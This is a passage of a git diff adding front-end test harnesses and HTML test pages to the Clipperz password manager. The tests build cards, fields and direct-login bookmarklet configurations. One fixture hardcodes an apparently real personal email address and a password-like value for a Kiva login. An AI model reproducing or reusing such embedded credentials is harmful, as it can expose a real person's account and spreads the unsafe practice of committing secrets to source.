MochiKit.Base.methodcaller('setValue', 'en_US')
|
||||
|
||||
], {trace:false});
|
||||
},
|
||||
MochiKit.Base.partial(MochiKit.Async.succeed, aRecord)
|
||||
], {trace:false});
|
||||
});
|
||||
*/
|
||||
|
||||
deferredResult.addCallback(function (aRecord) {
|
||||
return Clipperz.Async.callbacks("CardDialogEditing_test.init - setup Kiva", [
|
||||
MochiKit.Base.method(aRecord, 'setLabel', "KIVA"),
|
||||
MochiKit.Base.method(aRecord, 'addField', {'label':"kiva_email", 'value':"giulio.cesare@solaroli.it", 'isHidden':false}),
|
||||
MochiKit.Base.method(aRecord, 'addField', {'label':"kiva_password", 'value':"G0ELE0ngyTZf", 'isHidden':true}),
|
||||
|
||||
MochiKit.Base.method(aRecord, 'createNewDirectLogin'),
|
||||
function (aDirectLogin) {
|
||||
return Clipperz.Async.callbacks("CardDialogEditing_test.init - setup Kiva [directLogin]", [
|
||||
MochiKit.Base.method(aDirectLogin, 'setLabel', 'Kiva'),
|
||||
MochiKit.Base.method(aDirectLogin, 'setFavicon', 'http://www.kiva.org/favicon.ico'),
|
||||
MochiKit.Base.method(aDirectLogin, 'setBookmarkletConfiguration', '{\n "page": {\n "title": "kiva.org"\n },\n "form": {\n "attributes": {\n "action": "https://www.kiva.org/app.php?page=login&action=doLogin",\n "method": "post"\n },\n "inputs": [\n {\n "type": "text",\n "name": "email",\n "value": ""\n },\n {\n "type": "password",\n "name": "password",\n "value": ""\n },\n {\n "type": "submit",\n "name": "submit",\n "value": "Login >>"\n },\n {\n "type": "hidden",\n "name": "currURL",\n "value": "https://www.kiva.org/app.php?page=login"\n }\n ]\n },\n "version": "0.2.3"\n}'),
|
||||
|
||||
MochiKit.Base.method(aDirectLogin, 'bindFormFieldWithLabelToRecordFieldWithLabel', 'email', 'kiva_email'),
|
||||
MochiKit.Base.method(aDirectLogin, 'bindFormFieldWithLabelToRecordFieldWithLabel', 'password', 'kiva_password')
|
||||
], {trace:false});
|
||||
},
|
||||
MochiKit.Base.partial(MochiKit.Async.succeed, aRecord)
|
||||
], {trace:false});
|
||||
});
|
||||
|
||||
deferredResult.addCallback(MochiKit.Base.bind(function (aRecord) {
|
||||
cardDialogController = new Clipperz.PM.UI.Web.Controllers.CardDialogController({record:aRecord, delegate:this});
|
||||
cardDialogController.run();
|
||||
}, this));
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//=========================================================================
|
||||
|
||||
'saveChanges': function () {
|
||||
return this.user().saveChanges();
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'hasPendingChanges': function () {
|
||||
return this.user().hasPendingChanges();
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'revertChanges': function () {
|
||||
return this.user().revertChanges();
|
||||
},
|
||||
|
||||
//=========================================================================
|
||||
__syntaxFix__: "syntax fix"
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
init = function () {
|
||||
var tester;
|
||||
|
||||
tester = new Clipperz.Tests.CardDialogEditing.Tester();
|
||||
tester.run();
|
||||
};
|
||||
|
||||
MochiKit.DOM.addLoadEvent(init);
|
||||
1881
frontend/gamma/tests/tests/Components/CardDialogEditing/User.data.js
Normal file
@@ -0,0 +1,128 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
Clipperz.Base.module('Clipperz.Tests.DragAndDrop');
|
||||
|
||||
Clipperz.Crypto.PRNG.defaultRandomGenerator().fastEntropyAccumulationForTestingPurpose();
|
||||
Clipperz.PM.Strings.Languages.initSetup();
|
||||
|
||||
Clipperz.Tests.DragAndDrop.Tester = function(args) {
|
||||
args = args || {};
|
||||
|
||||
Clipperz.Tests.DragAndDrop.Tester.superclass.constructor.call(this, args);
|
||||
this._user = new Clipperz.PM.DataModel.User({username:'test', getPassphraseFunction:function () { return 'test';}});
|
||||
|
||||
return this;
|
||||
};
|
||||
|
||||
Clipperz.Base.extend(Clipperz.Tests.DragAndDrop.Tester, Object, {
|
||||
|
||||
'toString': function() {
|
||||
return "Clipperz.Tests.DragAndDrop.Tester";
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'user': function () {
|
||||
return this._user;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'run': function () {
|
||||
var deferredResult;
|
||||
var proxy;
|
||||
var cardDialogController;
|
||||
var cardDialogComponent;
|
||||
|
||||
proxy = new Clipperz.PM.Proxy.Test({shouldPayTolls:true, isDefault:true, readOnly:false});
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("DragAndDrop_test.init", {trace:false});
|
||||
deferredResult.addMethod(proxy.dataStore(), 'setupWithEncryptedData', testData['test_test_offline_copy_data']);
|
||||
deferredResult.addMethod(this.user(), 'login');
|
||||
deferredResult.addMethod(this.user(), 'getRecord', '8280842f41162b673335b63860637e8472e8bbff0efa2bc78b0dbc5e09712e13');
|
||||
deferredResult.addCallback(MochiKit.Base.bind(function (aRecord) {
|
||||
cardDialogController = new Clipperz.PM.UI.Web.Controllers.CardDialogController({record:aRecord, delegate:this});
|
||||
cardDialogController.run();
|
||||
|
||||
cardDialogController.showPasswordTooltip('**********', MochiKit.DOM.getElement('Clipperz_PM_Components_actionLink_63'));
|
||||
}, this));
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//=========================================================================
|
||||
|
||||
'saveChanges': function () {
|
||||
return this.user().saveChanges();
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'hasPendingChanges': function () {
|
||||
return this.user().hasPendingChanges();
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'revertChanges': function () {
|
||||
return this.user().revertChanges();
|
||||
},
|
||||
|
||||
//=========================================================================
|
||||
__syntaxFix__: "syntax fix"
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
init = function () {
|
||||
var tester;
|
||||
|
||||
tester = new Clipperz.Tests.DragAndDrop.Tester();
|
||||
tester.run();
|
||||
};
|
||||
|
||||
MochiKit.DOM.addLoadEvent(init);
|
||||
@@ -0,0 +1,133 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Card Dialog EDITING - test</title>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type='text/javascript' src='../../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/DomHelper.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Date.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/DOM.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Async.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Signal.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Style.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Visual.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Set.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/KeyValueObjectStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/PRNG.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SRP.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Toll.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Proxy.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Proxy/Proxy.Offline.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Proxy/Proxy.Test.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Proxy/Proxy.Offline.DataStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Connection.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Crypto.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Strings.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Strings/Strings_en-US.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Date.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/BookmarkletProcessor.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/EncryptedRemoteObject.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/Record.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/Record.Version.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/Record.Version.Field.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/DirectLogin.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/DirectLoginInput.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/DirectLoginBinding.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/DirectLoginFormValue.js'></script>
|
||||
<!-- script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/Record.Field.js'></script -->
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/User.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/User.Header.Legacy.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/User.Header.RecordIndex.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/User.Header.Preferences.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/User.Header.OneTimePasswords.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/OneTimePassword.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/BaseComponent.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/ComponentSlot.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/FaviconComponent.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/PasswordEntropyDisplay.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/ProgressBar.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/SimpleMessagePanel.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/TabPanelComponent.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/Tooltip.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/TranslatorWidget.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Web/Components/RulerComponent.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Web/Components/CardDialogComponent.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Web/Components/CardDialogRecordFieldComponent.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Web/Components/CardDialogRecordDirectLoginComponent.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Web/Components/DirectLoginEditingComponent.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Web/Components/DirectLoginEditingBindingComponent.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Web/Components/DirectLoginEditingFormValueComponent.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Web/Components/BookmarkletComponent.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Web/Components/PasswordTooltip.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Controllers/ProgressBarController.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Controllers/TabPanelController.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Controllers/DirectLoginRunner.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Web/Controllers/DirectLoginWizardController.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Web/Controllers/CardDialogController.js'></script>
|
||||
|
||||
<script type='text/javascript' src='./User.data.js'></script>
|
||||
<script type='text/javascript' src='./CardDialogEditing_test.js'></script>
|
||||
<script>
|
||||
Clipperz_IEisBroken = false;
|
||||
</script>
|
||||
|
||||
<!--[if IE]><script>
|
||||
Clipperz_IEisBroken = true;
|
||||
</script><![endif]-->
|
||||
|
||||
<link rel="stylesheet" type="text/css" href="../../../../css/clipperz/clipperz.css" />
|
||||
<link rel="stylesheet" type="text/css" href="../../../../css/clipperz/compact.css" />
|
||||
<link rel="stylesheet" type="text/css" href="../../../../css/clipperz/ytheme-clipperz.css" />
|
||||
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div id="tableWrapper"></div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
977
frontend/gamma/tests/tests/Components/CardDialogNew/User.data.js
Normal file
@@ -0,0 +1,127 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
Clipperz.Base.module('Clipperz.Tests.CardDialogNew');
|
||||
|
||||
Clipperz.Crypto.PRNG.defaultRandomGenerator().fastEntropyAccumulationForTestingPurpose();
|
||||
Clipperz.PM.Strings.Languages.initSetup();
|
||||
|
||||
Clipperz.Tests.CardDialogNew.Tester = function(args) {
|
||||
args = args || {};
|
||||
|
||||
Clipperz.Tests.CardDialogNew.Tester.superclass.constructor.call(this, args);
|
||||
this._user = new Clipperz.PM.DataModel.User({username:'test', getPassphraseFunction:function () { return 'test';}});
|
||||
|
||||
return this;
|
||||
};
|
||||
|
||||
Clipperz.Base.extend(Clipperz.Tests.CardDialogNew.Tester, Object, {
|
||||
|
||||
'toString': function() {
|
||||
return "Clipperz.Tests.CardDialogNew.Tester";
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'user': function () {
|
||||
return this._user;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'run': function () {
|
||||
var deferredResult;
|
||||
var proxy;
|
||||
var cardDialogController;
|
||||
var cardDialogComponent;
|
||||
|
||||
proxy = new Clipperz.PM.Proxy.Test({shouldPayTolls:true, isDefault:true, readOnly:false});
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("cardDialogNew_test.init", {trace:false});
|
||||
deferredResult.addMethod(proxy.dataStore(), 'setupWithEncryptedData', testData['test_test_offline_copy_data']);
|
||||
deferredResult.addMethod(this.user(), 'login');
|
||||
// deferredResult.addMethod(this.user(), 'getRecord', '8280842f41162b673335b63860637e8472e8bbff0efa2bc78b0dbc5e09712e13');
|
||||
deferredResult.addMethod(this.user(), 'createNewRecord');
|
||||
deferredResult.addCallback(MochiKit.Base.bind(function (aRecord) {
|
||||
cardDialogController = new Clipperz.PM.UI.Web.Controllers.CardDialogController({record:aRecord, delegate:this});
|
||||
cardDialogController.run();
|
||||
}, this));
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//=========================================================================
|
||||
|
||||
'saveChanges': function () {
|
||||
return this.user().saveChanges();
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'hasPendingChanges': function () {
|
||||
return this.user().hasPendingChanges();
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'revertChanges': function () {
|
||||
return this.user().revertChanges();
|
||||
},
|
||||
|
||||
//=========================================================================
|
||||
__syntaxFix__: "syntax fix"
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
init = function () {
|
||||
var tester;
|
||||
|
||||
tester = new Clipperz.Tests.CardDialogNew.Tester();
|
||||
tester.run();
|
||||
};
|
||||
|
||||
MochiKit.DOM.addLoadEvent(init);
|
||||
117
frontend/gamma/tests/tests/Components/CardDialogNew/index.html
Normal file
@@ -0,0 +1,117 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Card Dialog NEW - test</title>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type='text/javascript' src='../../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/DomHelper.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Date.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/DOM.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Async.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Signal.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Style.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Visual.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Set.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/KeyValueObjectStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/PRNG.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SRP.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Toll.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Proxy.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Proxy/Proxy.Offline.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Proxy/Proxy.Test.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Proxy/Proxy.Offline.DataStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Connection.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Crypto.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Strings.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Strings/Strings_en-US.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Date.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/EncryptedRemoteObject.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/Record.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/Record.Version.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/Record.Version.Field.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/DirectLogin.js'></script>
|
||||
<!-- script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/Record.Field.js'></script -->
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/User.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/User.Header.Legacy.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/DataModel/User.Header.RecordIndex.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/BaseComponent.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/Button.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/ComponentSlot.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/PasswordEntropyDisplay.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/ProgressBar.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/SimpleMessagePanel.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/TabPanelComponent.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/Tooltip.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Components/TranslatorWidget.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Web/Components/CardDialogComponent.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Web/Components/CardDialogRecordFieldComponent.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Controllers/ProgressBarController.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Common/Controllers/TabPanelController.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/UI/Web/Controllers/CardDialogController.js'></script>
|
||||
|
||||
<script type='text/javascript' src='./User.data.js'></script>
|
||||
<script type='text/javascript' src='./cardDialogNew_test.js'></script>
|
||||
<script>
|
||||
Clipperz_IEisBroken = false;
|
||||
</script>
|
||||
|
||||
<!--[if IE]><script>
|
||||
Clipperz_IEisBroken = true;
|
||||
</script><![endif]-->
|
||||
|
||||
<link rel="stylesheet" type="text/css" href="../../../../css/clipperz/clipperz.css" />
|
||||
<link rel="stylesheet" type="text/css" href="../../../../css/clipperz/compact.css" />
|
||||
<link rel="stylesheet" type="text/css" href="../../../../css/clipperz/ytheme-clipperz.css" />
|
||||
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div id="tableWrapper"></div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
1
frontend/gamma/tests/tests/Components/FullApp/README.txt
Normal file
@@ -0,0 +1 @@
|
||||
ln -s ../../../../../context/images .
|
||||